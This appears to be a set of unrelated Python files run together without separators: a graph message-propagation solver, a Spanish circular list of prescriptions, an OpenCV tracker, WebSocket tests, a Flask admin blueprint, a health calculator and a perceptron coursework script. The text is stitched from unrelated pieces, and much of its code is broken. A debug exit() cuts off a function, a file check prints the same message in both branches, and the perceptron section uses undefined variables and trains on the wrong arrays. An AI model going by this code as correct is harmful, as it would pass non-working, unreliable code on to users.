'''
A network consists of nodes labeled 0 to N. You are given a list of edges (a, b, t),
describing the time t it takes for a message to be sent from node a to node b.
Whenever a node receives a message, it immediately passes the message on to a neighboring node, if possible.

Assuming all nodes are connected, determine how long it will take for every node to receive a message that begins at node 0.

For example, given N = 5, and the following edges:

edges = [
    (0, 1, 5),
    (0, 2, 3),
    (0, 5, 4),
    (1, 3, 8),
    (2, 3, 1),
    (3, 5, 10),
    (3, 4, 5)
]
You should return 9, because propagating the message from 0 -> 2 -> 3 -> 4 will take that much time.
'''

from collections import namedtuple
from typing import List

Edge = namedtuple('Edge', ['a', 'b', 't'])

def reachAllNodes(edges: List[Edge[int, int, int]]) -> int:
    def reachNode(edges: List[Edge], cur_node: int, cur_time: int, node_times: list):
        for e in edges:
            # Check path time for every b where the current node equals a on the edge.
            if e.a == cur_node:
                time_to_b = cur_time + e.t
                if time_to_b < node_times[e.b]:
                    # Quicker path has been found. Set the new time to the node index and recur from there.
                    node_times[e.b] = time_to_b
                    reachNode(edges, e.b, time_to_b, node_times)
        return

    all_nodes = set(map(lambda e: e.a, edges)).union(set(map(lambda e: e.b, edges)))
    # Optional assertions.
    if not all(map(lambda n: 0 <= n < len(all_nodes), all_nodes)):
        raise ValueError("Incomplete Network.")
    if not all(map(lambda e: e.t >= 0, edges)):
        raise ValueError("Node message time cannot be less than zero.")
    # Setup - All node times set to infinity except node 0 which equals 0.
    node_times = [0] + [float('inf')] * (len(all_nodes) - 1)
    # Recursion to get minimum node times starting from node 0.
    reachNode(edges, 0, 0, node_times)

    max_time = max(node_times)
    # Node has not been reached if its index in the list is still infinity.
    if max_time == float('inf'):
        raise ValueError("Unreachable Nodes.")
    return max_time

edges = [
    Edge(0, 1, 5),
    Edge(0, 2, 3),
    Edge(0, 5, 4),
    Edge(1, 3, 8),
    Edge(2, 3, 1),
    Edge(3, 5, 10),
    Edge(3, 4, 5)
]

print(reachAllNodes(edges))


from nodo import *

class listaCircular:
    def __init__(self):

        self.primero = None

    def insertar(self, receta):

      if self.primero is None:
            self.primero = Nodo(receta)
            self.primero.siguiente = self.primero
      else:
            actual = Nodo(receta,self.primero.siguiente)
            self.primero.siguiente = actual

    def recorrer(self):
        if self.primero is None:
            return
        actual = self.primero
        print('Paciente: ', actual.receta.paciente, 'Fecha de nacimiento: ', actual.receta.fechaNac, ' Doctor: ', actual.receta.doctor, 'Colegiado: ', actual.receta.colegiado, ' Fecha de cita: ', actual.receta.fechaCita, 'Hora de cita: ', actual.receta.horaCita, 'Tipo de consulta: ', actual.receta.tipoConsulta, ' Tratamiento: ', actual.receta.tratamiento)

        while actual.siguiente != self.primero:
         actual = actual.siguiente
         print('Paciente: ', actual.receta.paciente, 'Fecha de nacimiento: ', actual.receta.fechaNac, ' Doctor: ', actual.receta.doctor, 'Colegiado: ', actual.receta.colegiado, ' Fecha de cita: ', actual.receta.fechaCita, 'Hora de cita: ', actual.receta.horaCita, 'Tipo de consulta: ', actual.receta.tipoConsulta, 'Tratamiento: ', actual.receta.tratamiento)

    def eliminar(self, colegiado,  horaCita,fechaCita):

       actual = self.primero
       anterior = None
       noEncontrado = False

       while actual and actual.receta.colegiado != colegiado and actual.receta.fechaCita != fechaCita and actual.receta.horaCita != horaCita:

            anterior = actual
            actual = actual.siguiente

            if actual == self.primero:
                noEncontrado = True
                print('No econtrado')
                break

            if not noEncontrado:
             if anterior is not None:
                    anterior.siguiente = actual.siguiente
                    actual.siguiente = None
            else:
                while actual.siguiente != self.primero:
                    actual = actual.siguiente
                actual.siguiente = self.primero.siguiente
                self.primero = self.primero.siguiente
    # Hoja de trabajo
    def Modificar(self, paciente, fechaCita, nuevoTratamiento ,horaCita):

      noEncontrado = False
      actual = self.primero

      while actual and (actual.receta.paciente != paciente or actual.receta.fechaCita != fechaCita or actual.receta.horaCita != horaCita):
            actual = actual.siguiente

            if actual == self.primero:
                noEncontrado = True
                break

      if not noEncontrado:
            actual.receta.tratamiento = nuevoTratamiento


import cv2

def ask_for_tracker():
	print('TRACKING APIs')
	print('\n 0. Boosting')
	print('\n 1. MIL')
	print('\n 2. KCF')
	print('\n 3. TLD')
	print('\n 4. MEDIAFLOW')
	choice = input('Select Tracker')

	if choice == '0':
		tracker = cv2.TrackerBoosting_create()

	if choice == '1':
		tracker = cv2.TrackerMIL_create()

	if choice == '2':
		tracker = cv2.TrackerKCF_create()

	if choice == '3':
		tracker = cv2.TrackerTLD_create()

	if choice == '4':
		tracker = cv2.TrackerMedianFlow_create()

	return tracker

tracker = ask_for_tracker()
tracker_name = str(tracker).split()[0][1:]

cap = cv2.VideoCapture(0)
ret, frame = cap.read()
roi = cv2.selectROI(frame, False)
ret = tracker.init(frame, roi)

while True:
	ret, frame = cap.read()
	success, roi = tracker.update(frame)
	(x, y, w, h) = tuple(map(int, roi))

	if success:
		p1 = (x, y)
		p2 = (x+w, y+h)
		cv2.rectangle(frame, p1, p2, (0, 255, 0), 3)

	else:
		cv2.putText(frame, 'Failure to Detect Tracking!!', (100, 200), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)

	cv2.putText(frame, tracker_name, (20, 400), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)
	cv2.imshow(tracker_name, frame)

	k = cv2.waitKey(1) & 0xFF
	if k == 27:
		break

cap.release()
cv2.destroyAllWindows()


# implements model3 from MaEtAl2003

import numpy as np

def distort(abi, k):
    s = np.sqrt(np.sum(abi ** 2, axis=1))
    return abi * (1 + k[0] * s + k[1] * s ** 2)

def distort_inverse(ab_rd, k):
    n = ab_rd.shape[0]
    s = np.sqrt(np.sum(ab_rd ** 2, axis=1))
    r = np.zeros(n)

    print(s)
    exit()
    for u in np.where(s >= 0)[0]:
        rts = np.roots(np.array([k[1], k[0], 1, -s[u]]))
        rtsind = np.all([np.imag(rts) == 0, rts >= 0], axis=0)
        if not np.any(rtsind):
            r[u] = np.nan
        else:
            r[u] = np.min(rts[rtsind])

    return ab_rd * (r / s)[:, np.newaxis]


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

import datetime
import ssl
from datetime import date

import pytest

from wampy.peers.clients import Client
from wampy.roles.callee import callee
from wampy.testing.helpers import wait_for_session, wait_for_registrations

class DateService(Client):

    @callee
    def get_todays_date(self):
        return datetime.date.today().isoformat()

class TestIP4(object):

    @pytest.fixture
    def config_path(self):
        return './wampy/testing/configs/crossbar.json'

    def test_ipv4_websocket_connection(self, config_path, router):
        service = DateService(url=router.url)
        with service:
            wait_for_registrations(service, 1)

            client = Client(url=router.url)

            with client:
                result = client.rpc.get_todays_date()

        today = date.today()

        assert result == today.isoformat()

class TestIP6(object):

    @pytest.fixture
    def config_path(self):
        return './wampy/testing/configs/crossbar.ipv6.json'

    @pytest.mark.skip(reason="Travis errors wheh swapping between IPV 4 & 6")
    def test_ipv6_websocket_connection(self, config_path, router):
        service = DateService(url=router.url)
        with service:
            wait_for_registrations(service, 1)

            client = Client(url=router.url)

            with client:
                result = client.rpc.get_todays_date()

        today = date.today()

        assert result == today.isoformat()

class TestSecureWebSocket(object):

    @pytest.fixture
    def config_path(self):
        return './wampy/testing/configs/crossbar.tls.json'

    @pytest.fixture
    def url(self):
        return 'wss://localhost:9443'

    def test_ipv4_secure_websocket_connection_by_router_url(
        self, config_path, router
    ):
        assert router.url == "wss://localhost:9443"

        try:
            ssl.PROTOCOL_TLSv1_2
        except AttributeError:
            pytest.skip('Python Environment does not support TLS')

        with DateService(
            url="wss://localhost:9443",
            cert_path="./wampy/testing/keys/server_cert.pem",
        ) as service:
            wait_for_registrations(service, 1)

            client = Client(
                url="wss://localhost:9443",
                cert_path="./wampy/testing/keys/server_cert.pem",
            )
            with client:
                wait_for_session(client)
                result = client.rpc.get_todays_date()

        today = date.today()

        assert result == today.isoformat()


from io import open
import pathlib
import shutil

# Abrir archivos
ruta = str(pathlib.Path().absolute()) + "/fichero_texto.txt"
print(ruta)

archivo = open(ruta, "a+")

# Escribir
archivo.write("****** VIVA LA INTELIGENCIA ARTIFICIAL ******")

# Cerrar archivo
archivo.close()

# Abrir archivos 2
ruta = str(pathlib.Path().absolute()) + "/fichero_texto.txt"
archivo_lectura = open(ruta, "r")

# Leer contenido
contenido = archivo_lectura.read()
print(contenido)

# Leer contenido y guardar en línea
lista = archivo_lectura.readlines()
archivo_lectura.close()

print(lista)

for frase in lista:
    lista_frase = frase.split()
    print("- " + frase.upper())

# Copiar
ruta_original = str(pathlib.Path().absolute()) + "/fichero_texto.txt"
ruta_nueva = str(pathlib.Path().absolute()) + "/fichero_texto.txt"
ruta_alternativa = "../07"
shutil.copyfile(ruta_original, ruta_nueva)

# Mover archivos
ruta_original = str(pathlib.Path().absolute()) + "/fichero_copiado.txt"
ruta_nueva = str(pathlib.Path().absolute()) + "/fichero_copiado.txt"

shutil.move(ruta_original, ruta_nueva)

# Eliminar archivos
import os

ruta_nueva = str(pathlib.Path().absolute()) + "/fichero_copiado.txt"
os.remove(ruta_nueva)

# Comprobar si existe
import os.path
print(os.path.abspath("./"))

# print(os.path.abspath("../"))

ruta_comprobar = os.path.abspath("./") + "/fichero_texto.txt"
ruta_comprobar = "./fichero_texto.txt"

if os.path.isfile(ruta_comprobar):
    print("El archivo no existe")
else:
    print("El archivo no existe")


from flask import (
    Blueprint,
    render_template,
)
from flask_login import login_required
from app.packages.authentication.logics import permission_required
from app.packages.authentication.models import (
    Permission,
    User,
    Role,
    Image,
)

bp = Blueprint(
    "admin",
    __name__,
    static_folder="static",
    template_folder="templates",
    url_prefix="/admin",
)

@bp.route("/")
@login_required
@permission_required(Permission.ADMIN)
def index():
    return render_template('admin/index.html')

@bp.route("/user-admin")
@login_required
@permission_required(Permission.ADMIN)
def user_admin():
    users = User.query.all()
    return render_template(
        'admin/user.html',
        users=users,
    )

@bp.route('/role-admin')
@login_required
@permission_required(Permission.ADMIN)
def role_admin():
    roles = Role.query.all()
    return render_template(
        'admin/role.html',
        roles=roles,
    )


Health_dict = {}
while True:
    name = input("Name:")
    if len(name) == 0:
        continue
    bad_char = False
    for x in name:
        if x.isalpha():
            Health_dict["Name"] = name
    Body_weight = input("Weight:")
    try:
        if int(Body_weight):
            kg_weight = round(int(Body_weight) / 2.2046)

    except:
        TypeError
    height = input("Feet:")
    inches = input("Inches:")
    try:
        if int(height) and int(inches):
            cm = round(int(height) * 30.48 + int(inches) * 2.54)
    except:
        NameError
    age = input("Age:")
    try:
        int(age)
        Health_dict["Age"] = age
    except:
        TypeError
    Rate = input("Level of Intensity on a scale:\n Sedentary - 1.2\n Lightly Active - 1.375\n Moderately Active - 1.55\n Very Active - 1.735\n Extremely Active - 1.9\n")

    Protein = 0.40
    Carbs = 0.25
    Fat = 0.35
    cm = round(int(height) * 30.48 + int(inches) * 2.54)

    gender = input("female or male:")
    if gender == "male" and float(Rate):
        Mens_BMR = round((10 * kg_weight) + (6.25 * cm) - (5 * int(age) + 5))
        Health_dict['BMR'] = Mens_BMR
        BMR_CAL = round(Mens_BMR * float(Rate))
        Health_dict['BMR Activity Calories'] = BMR_CAL
        Calories_Protein = Mens_BMR * Protein
        Per_day = Calories_Protein/4
        Health_dict["Protein Per Day"] = round(Per_day)
        calorie_carb = Mens_BMR * Carbs
        Carb_day = calorie_carb/4
        Health_dict["Carbs Per day"] = round(Carb_day)
        calorie_Fat = Mens_BMR * Fat
        Fat_day = calorie_Fat/9
        Health_dict["Fat Per Day"] = round(Fat_day)

    elif gender == "female":
        Womens_BMR = round((10 * kg_weight) + (6.25 * cm) - (5 * int(age) - 161))
        Health_dict['BMR'] = Womens_BMR
        BMR_CAL = round(Womens_BMR * float(Rate))
        Health_dict['Total Daily Energy Expenditure'] = BMR_CAL
        Calories_Protein = Womens_BMR * Protein
        Per_day = Calories_Protein/4
        Health_dict["Protein Per Day"] = round(Per_day)
        calorie_carb = Womens_BMR * Carbs
        Carb_day = calorie_carb/4
        Health_dict["Carbs Per Day"] = Carb_day
        calorie_Fat = Womens_BMR * Fat
        Fat_day = calorie_Fat/9
        Health_dict["Fat Per Day"] = round(Fat_day)
    user = input("Would you like to enter another record?")
    if user == "no":
        break

print(Health_dict)


#!/usr/bin/env python
# coding: utf-8

# In[106]:

import numpy as np

np.random.seed(15)
np.seterr(all='ignore')  # to ignore overflow warning

class Perceptron(object):
    """
    This class contains utilities for training and testing the perceptron model.
1. The perceptron is trained on the given dataset using train(self,data,label).
2. activation score(self,X) returns the activation score value by combining the weight and feature vector X into a dot product.
3. For a feature vector in X, predict(self,X) provides the projected value of the datapoint, which is either 1 or -1.
4. The perceptron model with L2 regularisation is trained and tested using trainWithRegularisation(self, data, label, lamb).
5.activation score
By doing a dot product of weight and feature vector X, WithRegularisation(self, X) delivers the activation score value.
6.predictWithRegularisation(self, X) provides the projected value of a datapoint for a feature vector in X, which is either 1 or -1.
    """

    def __init__(s, r, ep):
        """
        Initialiser function
        :param rate:
        :param epoch:
        """
        s.r = r
        s.ep = ep
        s.lbl = ""
        s.lmb = 0

    def trn(s, sample, lbl):
        """
        Training function without regularisation
        :param data:
        :param label:
        :return:
        """
        s.lbl = lbl
        sample[:, 4] = np.where(sample[:, 4] == s.lbl, 1, -1)
        np.random.shuffle(sample)
        X = sample[:, 0:4].astype(float)
        y = sample[:, 4].astype(float)
        s.wt = np.zeros(X.shape[1])  # Initialising weight vector to be zero
        s.b = 0  # Initialising bias to be zero
        for i in range(s.ep):
            for i, target in zip(X, y):
                d = s.r * (target - s.pred(i))  # calling predict function
                s.wt = s.wt + (d * i)  # updating weights
                s.b = s.b + d  # updating bias
        return s

    def trnWreg(s, sample, lbl, lmb):
        """
        Training function with regularisation
        :param data:
        :param label:
        :param lamb:
        :return:
        """
        s.lbl = lbl
        s.lmb = lmb
        sample[:, 4] = np.where(sample[:, 4] == s.lbl, 1, -1)
        np.random.shuffle(sample)
        X = sample[:, 0:4].astype(np.float64)
        y = sample[:, 4].astype(np.float64)
        s.wt = np.zeros(X.shape[1], dtype=np.float128)  # Initialising weight vector to be zero
        s.b = 0  # Initialsing bias to be zero
        for i in range(s.ep):
            for i, target in zip(X, y):
                d = s.r * (target - s.predwreg(i))  # calling predict function
                s.wt = (1 - (2 * s.lmb)) * s.wt + (d * i)  # updating weights
                s.b = s.b + d  # updating bias
        return s
    def a_score(s, X):
        """
        Activation function
        :param X:
        :return:
        """
        X = X.astype(float)
        return np.dot(X, s.wt) + s.b  # calculating activation score value
    def a_wrg(s, X):
        """
        Activation function
        :param X:
        :return:
        """
        X = X.astype(np.float128)
        return np.dot(X, s.wt) + s.b   # calculating activation score value

    def pred(s, X):
        """
        Prediction function
        :param X:
        :return:
        """
        return np.where(s.a_score(X) >= 0.0, 1, -1)  # Predicting based on threshold

    def predwreg(s, X):
        """
        Prediction function
        :param X:
        :return:
        """
        return np.where(s.a_wrg(X) >= 0.0, 1, -1)  # Predicting based on threshold

def acc(actual, predicted):
    """
    Accuracy function
    :param actual:
    :param predicted:
    :return:
    """
    correct = 0
    for i in range(len(actual)):
        if int(actual[i]) == predicted[i]:
            correct += 1
    return correct / float(len(actual)) * 100.0

def read(filename):
    """
    File loader and reader function
    :param filename:
    :return:
    """
    arr = []
    with open(filename) as file:
        for line in file:
            arr.append(line.rstrip().split(","))
        arr = np.array(arr)
        l1 = arr[arr[:, 4] == "class-1"]
        l2 = arr[arr[:, 4] == "class-2"]
        l3 = arr[arr[:, 4] == "class-3"]
    return l1, l2, l3

"""
Reading test and training files
"""
C1tr, C2tr, C3tr = read("/Users/shivamsharma/Downloads/CA1data 2/train.data")
C1ts, C2ts, C3ts = read("/Users/shivamsharma/Downloads/CA1data 2/test.data")

"""
Q3. Use the binary perceptron to train classifiers to discriminate between the following pairs:
"""
print("----------------------------------------------------------------------")
print("Q3. Binary Perceptron Accuracy\n----------------------------------------------------------------------")
print("Accuracy                     Classes                                   ")
print("          class 1 vs class 2  class 2 vs class 3  class 1 vs class 3 ")

# a) Class 1 vs Class 2
c1vc2 = Perceptron(0.01, 20)
c1vc2t = np.concatenate((C1tr, C2tr), axis=0)
c1vc2.trn(c1vc2t, "class-1")
# Calculating Training Accuracy
accuracy1v2t = []
c1vc2t_predict = c1vc2.pred(c1vc2t[:, 0:4])
accuracy1v2t.append(acc(c1vc2t[:, 4], c1vc2t_predict))

# Calculating Testing Accuracy
accuracy1v2ts = []
c1vc2ts = np.concatenate((C1ts, C2ts), axis=0)
c1vc2ts[:, 4] = np.where(c1vc2ts[:, 4] == "class-1", 1, -1)
c1vc2t_predict = c1vc2.pred(c1vc2ts[:, 0:4])
accuracy1v2ts.append(acc(c1vc2ts[:, 4], c1vc2t_predict))

# b) Class 2 vs Class 3
c2vc3 = Perceptron(0.01, 20)
c2vc3t = np.concatenate((C2tr, C3tr), axis=0)
c2vc3.trn(c2vc3t, "class-2")

# Calculating Training Accuracy
accuracy2v3t = []
c2vc3t_predict = c2vc3.pred(c2vc3t[:, 0:4])
accuracy2v3t.append(acc(c2vc3t[:, 4], c2vc3t_predict))

# Calculating Testing Accuracy
accuracy2v3ts = []
c2vc3ts = np.concatenate((C2ts, C3ts), axis=0)
c2vc3ts[:, 4] = np.where(c2vc3ts[:, 4] == "class-2", 1, -1)
c2vc3ts_predict = c2vc3.pred(c2vc3ts[:, 0:4])
accuracy2v3ts.append(acc(c2vc3ts[:, 4], c2vc3ts_predict))

# c) Class 1 vs Class 3
c1vc3 = Perceptron(0.01, 20)
c1vc3t = np.concatenate((C1tr, C3tr), axis=0)
c1vc3.trn(c1vc3t, "class-1")
# Calculating Training Accuracy
accuracy1v3t = []
c1vc3t_predict = c1vc3.pred(c1vc3t[:, 0:4])
accuracy1v3t.append(acc(class1v3Training[:, 4], c1vc3t_predict))

# Calculating Testing Accuracy
accuracy1v3ts = []
c1vc3ts = np.concatenate((C1ts, C3ts), axis=0)
c1vc3ts[:, 4] = np.where(c1vc3ts[:, 4] == "class-1", 1, -1)
c1vc3ts_predict = c1vc3.pred(c1vc3ts[:, 0:4])
accuracy1v3t.append(acc(c1vc3ts[:, 4], c1vc3ts_predict))

print("Training      ", sum(accuracy1v2t) / len(accuracy1v2t), "              ",
      sum(accuracy2v3t) / len(accuracy2v3t), "             ",
      sum(accuracy1v3t) / len(accuracy1v3t), "        ")

print("Testing      ", sum(accuracy1v2ts) / len(accuracy1v2ts), "              ",
      sum(accuracy2v3ts) / len(accuracy2v3ts), "             ",
      sum(accuracy1v3t) / len(accuracy1v3t), "        ")

print("------------------------------------------------------------------------")

"""
Q4. Extend the binary perceptron that you implemented in part (2) above to perform multi-class classification using the
1-vs-rest approach.
"""
print("Q4. One vs Rest Approach Multi-Class Classification \n----------------------------------------------------------"
      "--------------")
print("Accuracy           Classes            ")
print("          class 1   class 2  class 3 ")

# Class 1 vs (Class 2, Class 3)
c1vrest = Perceptron(0.01, 20)
c1vrestT = np.concatenate((C1tr, C2tr), axis=0)
c1vrestT = np.concatenate((c1vrestT, C3tr), axis=0)
c1vrest.trn(c1vrestT, "class-1")

# Class 2 vs (Class 1, Class 3)
c2vrest = Perceptron(0.01, 20)
c2vrestT = np.concatenate((C2tr, C1tr), axis=0)
c2vrestT = np.concatenate((c2vrestT, C2tr), axis=0)
c2vrest.trn(c1vrestT, "class-2")

# Class 3 vs (Class 1, Class 2)
c3vrest = Perceptron(0.01, 20)
c3vrestT = np.concatenate((C3tr, C1tr), axis=0)
c3vrestT = np.concatenate((c3vrestT, C2tr), axis=0)
c3vrest.trn(c3vrestT, "class-3")

# Calculating Testing accuracy
C1ts[:, 4] = np.where(C1ts[:, 4] == "class-1", 1, -1)
C2ts[:, 4] = np.where(C2ts[:, 4] == "class-2", 2, -1)
C3ts[:, 4] = np.where(C3ts[:, 4] == "class-3", 3, -1)
c1vc2vc3ts = np.concatenate((C1ts, C2ts,), axis=0)
c1vc2vc3ts = np.concatenate((c1vc2vc3ts, C3ts,), axis=0)
TP = 0
caccuracyts = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vrest.a_score(point[:4]))
    score.append(c2vrest.a_score(point[:4]))
    score.append(c3vrest.a_score(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracyts[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
C1tr[:, 4] = np.where(C1tr[:, 4] == "class-1", 1, -1)
C2tr[:, 4] = np.where(C2tr[:, 4] == "class-2", 2, -1)
C3tr[:, 4] = np.where(C3tr[:, 4] == "class-3", 3, -1)
c1vc2vc3tr = np.concatenate((C1tr, C2tr,), axis=0)
c1vc2vc3tr = np.concatenate((c1vc2vc3tr, C3tr,), axis=0)
TP = 0
caccuracyt = np.zeros(3)
for point in c1vc2vc3tr:
    score = []
    score.append(c1vrest.a_score(point[:4]))
    score.append(pc2.a_score(point[:4]))
    score.append(c3vrest.a_score(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracyt[int(point[4]) - 1] += 1
        TP += 1
trn1 = ((caccuracyt / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trn2 = ((caccuracyt / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trn3 = ((caccuracyt / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training  ", tr1, "   ", tr2, "    ", tr3, "  ")
ts1 = ((caccuracyts / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
ts2 = ((caccuracyts / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
ts3 = ((caccuracyts / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing   ", tes1, "   ", tes2, "    ", tes3, "  ")
print("------------------------------------------------------------------------")

"""
Q5. Add an l2 regularisation term to your multi-class classifier implemented in question. Set the regularisation
 coefficient to 0.01, 0.1, 1.0, 10.0, 100.0 and compare the train and test classification accuracy for each of the
 three classes.
"""
print("Q5. Multi- Classification with L2 regularisation \n----------------------------------------------------------"
      "--------------")
print("Accuracy  Lambda               Classes             ")
print("                     class 1   class 2   class 3 ")

"""Lambda 0.01"""
# Class 1 vs (Class 2, Class 3)
c1vc2c3 = Perceptron(0.01, 20)
c1vc2c3.trnWreg(c1vrestT, "class-1", 0.01)
# # Class 2 vs (Class 1, Class 3)
c2vc1c3 = Perceptron(0.01, 20)
c2vc1c3.trnWreg(c1vrestT, "class-2", 0.01)
# Class 3 vs (Class 1, Class 2)
c3vc1c2 = Perceptron(0.01, 20)
c3vc1c2.trnWreg(c3vrestT, "class-3", 0.01)
# Calculating Testing accuracy
TP = 0
caccuracylmbTs = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vc2c3.a_wrg(point[:4]))
    score.append(c2vc1c3.a_wrg(point[:4]))
    score.append(c3vc1c2.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTs[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
caccuracylmbTr = np.zeros(3)
for point in c1vc2vc3tr:
    score = []
    score.append(c1vc2c3.a_wrg(point[:4]))
    score.append(c2vc1c3.a_wrg(point[:4]))
    score.append(c3vc1c2.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTr[int(point[4]) - 1] += 1
        TP += 1

trnl1 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trnl2 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trnl3 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training    0.01     ", trl1, "   ", trl2, "    ", trl3, "    ")
tsl1 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
tsl2 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
tsl3 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing     0.01     ", tsl1, "   ", tsl2, "    ", tsl3, "    \n")

"""Lambda 0.1"""
# Class 1 vs (Class 2, Class 3)
c1vc2c3l = Perceptron(0.01, 20)
c1vc2c3l.trnWreg(c1vrestT, "class-1", 0.1)

# Class 2 vs (Class 1, Class 3)
c2vc1c3l = Perceptron(0.01, 20)
c2vc1c3l.trnWreg(c1vrestT, "class-2", 0.1)

# Class 3 vs (Class 1, Class 2)
c3vc1c2l = Perceptron(0.01, 20)
c3vc1c2l.trnWreg(c3vrestT, "class-3", 0.1)

# Calculating Testing accuracy
TP = 0
caccuracylmbTs = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vc2c3l.a_wrg(point[:4]))
    score.append(c2vc1c3l.a_wrg(point[:4]))
    score.append(c3vc1c2l.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTs[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
caccuracylmbTr = np.zeros(3)

for point in c1vc2vc3tr:
    score = []
    score.append(c1vc2c3l.a_wrg(point[:4]))
    score.append(c2vc1c3l.a_wrg(point[:4]))
    score.append(c3vc1c2l.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTr[int(point[4]) - 1] += 1
        TP += 1

trnl4 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trnl5 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trnl6 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training    0.1      ", trl4, "  ", trl5, "     ", trl6, "    ")
tsl4 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
tsl5 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
tsl6 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing     0.1      ", tsl4, "  ", tsl5, "     ", tsl6, "    \n")

"""Lambda 1"""
# Class 1 vs (Class 2, Class 3)
c1vc2c3lm = Perceptron(0.01, 20)
c1vc2c3lm.trnWreg(c1vrestT, "class-1", 1)

# Class 2 vs (Class 1, Class 3)
c2vc1c3lm = Perceptron(0.01, 20)
c2vc1c3lm.trnWreg(c1vrestT, "class-2", 1)

# Class 3 vs (Class 1, Class 2)
c3vc1c2lm = Perceptron(0.01, 20)
c3vc1c2lm.trnWreg(c3vrestT, "class-3", 1)
# Calculating Testing accuracy
TP = 0
caccuracylmbTs = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vc2c3lm.a_wrg(point[:4]))
    score.append(c2vc1c3lm.a_wrg(point[:4]))
    score.append(c3vc1c2lm.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTs[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
caccuracylmbTr = np.zeros(3)
for point in c1vc2vc3tr:
    score = []
    score.append(c1vc2c3lm.a_wrg(point[:4]))
    score.append(c2vc1c3lm.a_wrg(point[:4]))
    score.append(c3vc1c2lm.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTr[int(point[4]) - 1] += 1
        TP += 1

trnl7 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trnl8 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trnl9 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training      1       ", trl7, "  ", trl8, "     ", trl9, "    ")
tsl7 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[0]) * 100
tsl8 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[1]) * 100
tsl9 = ((caccuracylmbTs / (c1vc2vc3ts.shape[0] / 3))[2]) * 100
print("Testing       1       ", tsl7, " ",  tsl8, "     ",  tsl9, "    \n")

"""Lambda 10"""
# Class 1 vs (Class 2, Class 3)
c1vc2c3lm10 = Perceptron(0.01, 20)
c1vc2c3lm10.trnWreg(c1vrestT, "class-1", 10)

# Class 2 vs (Class 1, Class 3)
c2vc1c3lm10 = Perceptron(0.01, 20)
c2vc1c3lm10.trnWreg(c1vrestT, "class-2", 10)

# Class 3 vs (Class 1, Class 2)
c3vc1c2lm10 = Perceptron(0.01, 20)
c3vc1c2lm10.trnWreg(c3vrestT, "class-3", 10)

# Calculating Testing accuracy
TP = 0
caccuracylmbTs = np.zeros(3)
for point in c1vc2vc3ts:
    score = []
    score.append(c1vc2c3lm10.a_wrg(point[:4]))
    score.append(c2vc1c3lm10.a_wrg(point[:4]))
    score.append(c3vc1c2lm10.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTs[int(point[4]) - 1] += 1
        TP += 1

# Calculating Training accuracy
caccuracylmbTr = np.zeros(3)
for point in c1vc2vc3tr:
    score = []
    score.append(c1vc2c3lm10.a_wrg(point[:4]))
    score.append(c2vc1c3lm10.a_wrg(point[:4]))
    score.append(c3vc1c2lm10.a_wrg(point[:4]))
    prediction = np.argmax(score) + 1
    if prediction == int(point[4]):
        caccuracylmbTr[int(point[4]) - 1] += 1
        TP += 1

trnl10 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[0]) * 100
trnl11 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[1]) * 100
trnl12 = ((caccuracylmbTr / (c1vc2vc3tr.shape[0] / 3))[2]) * 100
print("Training      10     ", trl10, "   ", trl11, "   ", trl12, "    ")
